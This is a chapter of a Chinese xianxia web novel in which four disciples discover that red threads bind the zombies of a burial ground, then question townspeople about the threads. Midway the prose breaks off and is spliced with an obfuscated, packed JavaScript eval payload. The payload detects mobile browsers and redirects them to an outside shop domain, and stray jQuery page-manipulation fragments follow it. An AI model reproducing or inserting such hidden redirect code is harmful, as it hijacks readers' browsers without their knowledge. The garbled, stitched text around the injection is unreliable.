诸漓想了想,看到乱葬岗内的死尸,她忽然知道了什么。
“你是指老伯说的‘怪物’?”
“嗯。”司瑶点头,继续分析,“老伯说,他是晚上看到这些怪物出来吃活物的。所以,这东西应该是晚上行动。乱葬岗内有野狗之类的吃腐肉的生物,再结合刚刚被追的情况,所以我猜测,这些僵尸应该是只能在乱葬岗范围内活动,它们出不去。”
“僵尸?”
浮朔听着听着就听到一个不知道的词。修仙界里,他没听过有这玩意。
“这是什么?”
司瑶身体忽然绷直,她突然想起,这个世界没有‘僵尸’一词的概念。
这不完了。顺嘴给说出来了。
“僵尸,就是被将臣咬过,出现了尸化、吸血等特征的人。我称为僵尸,是不是很好记,很好区分。”
看着众人投过来的眼神中,疑惑慢慢退散,司瑶才觉得成功忽悠过去。
她刚刚的分析,诸漓他们听得很明白,这样说也合理,但问题就出在有一个僵尸走出了活动范围,攻击了司瑶。这又该怎么解释,成为了众人心中的一个疑点。
“我觉得司瑶说得在理,可是这个该怎么解释?”
浮朔说着,就指着刚刚差点得手的僵尸问。
因为浮朔的话,司瑶等人全都看了过来,一个个面上都是副难言之隐的复杂表情。被傅蘅杀掉的僵尸所在地方,哪有什么死尸,只留有一副断了头的人形白骨。
浮朔看着他们脸上晦暗不明的神情,意识到不对劲,他转头看向地上,顿时一惊。
“尸体变白骨了?!就算化了,也不该这么快啊。”
谜团萦绕在四个人的心头,刚刚理顺的线索,现在又堵死了。
傅蘅上前查看了一下白骨,朝他们点了点头,这确实是他杀的那个。
一时间气氛陷入了死寂,谁也没想到会出现这种情况。
突然冲出活动范围的僵尸,却在被斩后化为白骨。肯定是哪里漏了。
傅蘅看着乱葬岗界限内,还有几个对他们蠢蠢欲动的僵尸,不愿离开,就这样在边境线旁来回走动着,想出来。可像是被什么东西限制住了一样,越是挣扎越是无用。
看着它们,傅蘅注意到它们脖子上的红线,像是想到某个被忽略的点,他转头看向那具白骨,瞬间明白。
“它们脖子上的红线,有问题。”
傅蘅走到司瑶身边,想起她手中就有一根从僵尸身上抽出的红线。
“我记得,你拿了根红线。”
说起这个,司瑶立马从兜里拿出红线,看了看白骨,又看了看乱葬岗内的僵尸,确实发现了傅蘅说的问题。
她蹲下来查看这具白骨,“这根红线是这具白骨身上的。”
所有人都跟上了思路,浮朔更是最先反应。
“这个僵尸能从乱葬岗跑出来杀司瑶,是因为没了红线?所以这红线,有限制作用?”
“目前来看,应该是的。”诸漓撑着下巴,对这个解释十分认同。
司瑶这才后知后觉的明白,原来不是僵尸能听见她的心声,是自己给了它可乘之机。
“就算是这样。那怎么会在被杀之后,瞬间变成一具白骨。这也说不通。”诸漓却觉得还是有些地方解释不通。
“这我知道。”
浮朔立马接上话,积极地解释。
“被将臣咬死的尸体,不入轮回,会成为尸兵,被将臣掌控。尸兵不老不死,会维持着生前模样。被杀死后,才会恢复原本该有的样子。这具尸体死了一年多,被傅蘅杀了后,变成这样很正常。”
诸漓没说话,对这方面,她确实了解不多。
但司瑶听完浮朔的解释,她怎么想都觉得不对劲。
就将臣这种恐怖的控兵能力,姑且不论他的真实实力,这吸两口血的功夫,就能弄出成千上万尸兵,怎么想都不会是通智境中期的实力。至少都是妖将级别,这大比任务真的不会搞错?
浮朔见司瑶不说话,靠过去问。
“怎么突然不说话了?”
“我在思考。”
司瑶盯着白骨,试图理顺逻辑。
“思考这次大比任务会不会超过我们的能力范围。这个将臣我总感觉,他不止是通妖境中期的实力。”
浮朔立马一副我明白你的担心的样子,好心说道。
“要是拿以前来说,将臣确实不止通妖境,它那可是直逼妖神境的上古大妖。只是经历了百年前妖神大战,被神族打回至幼年期,实力暴跌,妖神大战结束后原本都以为将臣在那场大战中死了,没想到在凡界苟延残喘着。只剩下个通妖境的实力。就被拿来当大比任务。”
听到这里,司瑶才安心了不少。但也没完全放心,根据她来到这个世界后,与妖族搏斗的经验来看,完全看轻对方,才更容易死。
所以,司瑶只放心了一半,另一半再说。
回到红线这个线索,可以肯定的是,红线确实可以限制住这些僵尸尸兵的行动范围,而且它们的红线位置都一样,在脖子上。
傅蘅和诸漓他们在城中,也看到百姓身上有红线携带,就连城主身上也有。这与乱葬岗的死尸上的红线有什么关联?
红线对不同人的含义,以及绑定位置,都有着不一样的意义。
红线,对被将臣咬死的人来说,是限制行动范围。
那对城中百姓呢?不清楚。
所以,她需要搞清楚这点,搞清楚红线到底从何而来。
司瑶收起红线,对着伙伴们说。
“走,该转移阵地。去问问这红线到底哪里来的。”
找到目标后,司瑶斗志十足,结果被傅蘅拉住。
“师姐,这次我想跟你一组。”
司瑶:???
什么玩意?什么跟我一组?
傅蘅的话,让司瑶一时没反应过来。看着傅蘅那坚定的眼神,倒是粘人。
她有些哭笑不得。
难不成是上次强行让他跟诸漓一组行动,心里不舒服?这次以为我又要分组行动,抢先一步争取?
司瑶一时感到罪过,都给孩子搞应激了,赶紧解释。
“这次不分组,我们一起行动。”
傅蘅抿着唇,纠结地松开了手。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594261|201946||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这次为什么不分组了?
……
第二天一早,玉门城内
大街小巷上都是人,人来人往的,为了找红线,司瑶眼睛都快看瞎了。
“不行不行,这么看眼睛都要劳损了。”
浮朔想起京城那日吃的油饼,有些嘴馋。
“要不,我们找个摊主问问。顺便吃点东西?”
他们没意见,浮朔带着三人顺势坐进卖油饼的摊子里。
“老板,要四个油饼。”浮朔忍不住叫着。
司瑶在一旁看了看小摊老板,发现他身上的红线坠着平安福袋,带在脖子上。
“老板,我发现你们玉门城里的百姓怎么都带红线绳?有什么说法吗?”
小摊老板十分热情,一边摊着饼,一边热络地说。
“客官外地的吧?”
司瑶点头,“是的,路过这里。”
“这红线绳是保命我们的东西。一年前城里闹妖,老有人死,我们这些老百姓都害怕。城主多次请人来除妖,每每都失败。最后我们以为过不了这日子的时候,多亏城主请了高人赐了这红线绳,我们的日子这才安生了些。”
城主请人赐的红线保平安?这倒是与刘岷跟我们说的请人除妖,对得上。可这红线,刘岷可没提。
司瑶看向傅蘅,“我去趟城主府。”
“我跟你一起。”傅蘅作势跟了上去,司瑶没有拒绝。
浮朔正吃着,看着有两个人要走,刚要起来就被司瑶摁了回去。
“我跟傅蘅去去就回,安心吃你饭。顺便跟诸漓一起继续观察和打探红线的消息。”
浮朔将嘴里的饼咽下去,看着司瑶点头。
“明白。”
走时,司瑶捞了张饼吃起来,十分满足。
果然还是刚出锅的香。
吃了两口的司瑶,觉得这饼好吃,而她也是个有好东西就爱分享的人,下意识地递给傅蘅。
“这饼非常好吃,来口尝尝。”
见伸出的饼,迟迟未拿走。
司瑶心想坏了。
这是她吃过的饼,人家肯定不乐意吃她的口水。尽管在她心中,傅蘅还是个孩子,但人家好歹也十八了,自己这个身体也是个成年人了,该避讳一下。
“抱歉,顺手了。”
司瑶赶紧把手缩回来,有点丢丑。
“这我吃过,你肯定嫌弃。”
结果被傅蘅抓住手腕,往他嘴边送。
“确实好吃。”
傅蘅在司瑶吃过的地方,下得口。他吃相很好看很安静,低着头,垂着眼,长而密的睫毛颤动着,很是乖巧,像个粘人的猫咪。
司瑶心脏漏了半拍,我去。以前怎么没觉得我这便宜弟弟,吃饭这么好看!这女主也吃得太好了吧!我都有点羡慕了。
内心尖叫完,司瑶立马收回手,将剩下的油饼塞进傅蘅手里,转头开溜。
“这都给你吃。你还在长身体,多吃点,才能长高。”
傅蘅不明白司瑶突然的转变,有些呆愣地看着手中的油饼,心情低落。
我刚刚惹师姐不快了吗?